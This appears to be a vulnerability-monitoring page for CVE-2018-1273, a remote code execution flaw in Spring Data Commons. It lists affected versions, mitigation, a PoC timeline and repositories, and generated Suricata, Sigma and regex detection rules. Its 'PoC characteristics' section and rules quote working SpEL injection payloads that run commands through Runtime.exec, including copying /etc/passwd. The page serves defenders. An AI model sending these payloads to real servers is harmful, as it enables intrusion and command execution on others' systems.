PoC Monitor
← All CVEs
CVE-2018-1273published 11 Apr 2018 13:00 UTCData: JSON · API

Spring by Pivotal Spring Framework

VMware Tanzu Spring Data Commons Property Binder Vulnerability

Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack.

First public PoC 2 daysafter publication · 13 Apr 2018
Public PoCs43 on GitHub · 1 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CISA ADP · CWE-94
CISA KEV 25 Mar 20224.0 years after publication · ransomware use known

Affected versions and mitigation

From the CVE record, GitHub Security Advisories and the vendor's references.

Affected

org.springframework.data:spring-data-commons (Maven)
  • >= 1.13.0, < 1.13.11

Fixed in 1.13.11

from GitHub Security Advisory GHSA-4fq3-mr56-cg6r

org.springframework.data:spring-data-commons (Maven)
  • >= 2.0.0, < 2.0.6

Fixed in 2.0.6

from GitHub Security Advisory GHSA-4fq3-mr56-cg6r

Mitigation

Upgrade org.springframework.data:spring-data-commons to 1.13.11 or later.

Upgrade org.springframework.data:spring-data-commons to 2.0.6 or later.

Timeline

Days relative to CVE publication
t=0+180+360+540+720+900+1080+1260+1440CVE published11 Apr 2018 · t = 0First public PoC13 Apr 2018 · t+2dAdded to CISA KEV25 Mar 2022 · t+4.0y

First public PoC 2 days after publication; added to CISA KEV 4.0 years after publication. First PoC: knqyf263/CVE-2018-1273 (created 13 Apr 2018, found by us: backfilled).

PoC repositories

Found on GitHub.

3 PoCs · 1 pending · 3 suspicious or fake

PoCs 3
RepositoryCreatedStarsAssessment
knqyf263/CVE-2018-1273 13 Apr 2018 +2 d 10 PoC via PoC Index
jas502n/cve-2018-1273 29 Apr 2019 +1.0 y 58 PoC
CyberCTF/vulhub-spring-cve-2018-1273 8 Oct 2026 +8.5 y 0 PoC
Pending 1
RepositoryCreatedStarsAssessment
cved-sources/cve-2018-1273 17 Jan 2019 +281 d 0 Pending · repository exceeds size limit via PoC Index
Flags · score 15
  • owner account created less than 30 days before the repo

Below the suspicion threshold (50); does not change the assessment.

Suspicious or fake 3
RepositoryCreatedStarsAssessment
wearearima/poc-cve-2018-1273 17 Apr 2018 +6 d 24 Fake
webr0ck/poc-cve-2018-1273 5 Oct 2018 +177 d 2 Fake
hdgokani/CVE-2018-1273 25 Jun 2025 +7.2 y 0 Fake

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.
SourceTitlePublishedFound by us
nuclei templatenuclei template: Spring Data Commons - Remote Code Execution27 Apr 202314 Nov 2026

PoC characteristics

What to hunt for in your logs · from 4 PoC repos

POST /account

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cache-Control: no-cache Cookie: sidebar_collapsed=false X-Forwarded-For: 127.0.0.2
Body markers
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/jas502n')]=test name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123 name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test in application/x-www-form-urlencoded
Ports
8080
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Seen in
1 repo: jas502n/cve-2018-1273
Evidence
jas502n/cve-2018-1273/README.md:36 jas502n/cve-2018-1273/Vulnerability-environment/README.md:30 jas502n/cve-2018-1273/Vulnerability-environment/README.md:37

POST /users

Query
page= size=5
Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cache-Control: no-cache Origin: http://localhost:8080 Pragma: no-cache Referer: http://localhost:8080/users?page=0&size=5 Upgrade-Insecure-Requests: 1
Body markers
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]= password= repeatedPassword= in application/x-www-form-urlencoded
Ports
8080
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Seen in
1 repo: CyberCTF/vulhub-spring-cve-2018-1273
Evidence
CyberCTF/vulhub-spring-cve-2018-1273/app/README.md:30 CyberCTF/vulhub-spring-cve-2018-1273/app/README.zh-cn.md:26

POST /users/

Body markers
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("cp /etc/passwd /tmp")]=test username[T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]=test in application/x-www-form-urlencoded
Ports
8080
Seen in
1 repo: knqyf263/CVE-2018-1273
Evidence
knqyf263/CVE-2018-1273/README.md:25 knqyf263/CVE-2018-1273/README.md:31

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

POST /account
(?i)^/account(?:[?#].*)?$
POST /users
(?i)^/users\?(?:.*&)?page=.*size=5
GET /users
(?i)^/users(?:[?#].*)?$
POST /users/
(?i)^/users/(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

POST /account
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2018-1273 Spring by Pivotal Spring Framework exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/account"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,*/*|3b|q=0.8"; nocase; http.header; content:"Accept-Language: zh-CN,zh|3b|q=0.8,en-US|3b|q=0.5,en|3b|q=0.3"; nocase; http.header; content:"Cache-Control: no-cache"; nocase; http.header; content:"Cookie: sidebar_collapsed=false"; nocase; http.header; content:"X-Forwarded-For: 127.0.0.2"; nocase; http.request_body; content:"name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/jas502n')]=test"; http.request_body; content:"name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"; http.request_body; content:"name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"; reference:url,poc.griffinguard.io/cve/CVE-2018-1273; classtype:web-application-attack; sid:9041767; rev:1;)
POST /users
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2018-1273 Spring by Pivotal Spring Framework exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/users"; http.uri; content:"page="; http.uri; content:"size=5"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/webp,image/apng,*/*|3b|q=0.8"; nocase; http.header; content:"Accept-Language: zh-CN,zh|3b|q=0.9,en|3b|q=0.8"; nocase; http.header; content:"Cache-Control: no-cache"; nocase; http.header; content:"Origin: http://localhost:8080"; nocase; http.header; content:"Pragma: no-cache"; nocase; http.header; content:"Referer: http://localhost:8080/users?page=0&size=5"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; http.request_body; content:"username[#this.getClass().forName(|22|java.lang.Runtime|22|).getRuntime().exec(|22|touch /tmp/success|22|)]="; http.request_body; content:"password="; http.request_body; content:"repeatedPassword="; reference:url,poc.griffinguard.io/cve/CVE-2018-1273; classtype:web-application-attack; sid:9422584; rev:1;)
GET /users
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2018-1273 Spring by Pivotal Spring Framework exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/users"; reference:url,poc.griffinguard.io/cve/CVE-2018-1273; classtype:web-application-attack; sid:9196960; rev:1;)
POST /users/
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2018-1273 Spring by Pivotal Spring Framework exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/users/"; http.request_body; content:"username[#this.getClass().forName(|22|java.lang.Runtime|22|).getRuntime().exec(|22|cp /etc/passwd /tmp|22|)]=test"; http.request_body; content:"username[T(java.lang.Runtime).getRuntime().exec(|22|cp /etc/passwd /tmp|22|)]=test"; reference:url,poc.griffinguard.io/cve/CVE-2018-1273; classtype:web-application-attack; sid:9866933; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

POST /account
title: Spring by Pivotal Spring Framework exploit attempt (CVE-2018-1273)
id: gg-pocmon-cve-2018-1273-9041767
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-1273. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2018-1273
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/account'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2018.1273
POST /users
title: Spring by Pivotal Spring Framework exploit attempt (CVE-2018-1273)
id: gg-pocmon-cve-2018-1273-9422584
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-1273. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2018-1273
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/users'
    cs-uri-query|contains|all:
      - 'page='
      - 'size=5'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2018.1273
GET /users
title: Spring by Pivotal Spring Framework exploit attempt (CVE-2018-1273)
id: gg-pocmon-cve-2018-1273-9196960
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-1273. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2018-1273
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/users'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2018.1273
POST /users/
title: Spring by Pivotal Spring Framework exploit attempt (CVE-2018-1273)
id: gg-pocmon-cve-2018-1273-9866933
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-1273. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2018-1273
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/users/'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2018.1273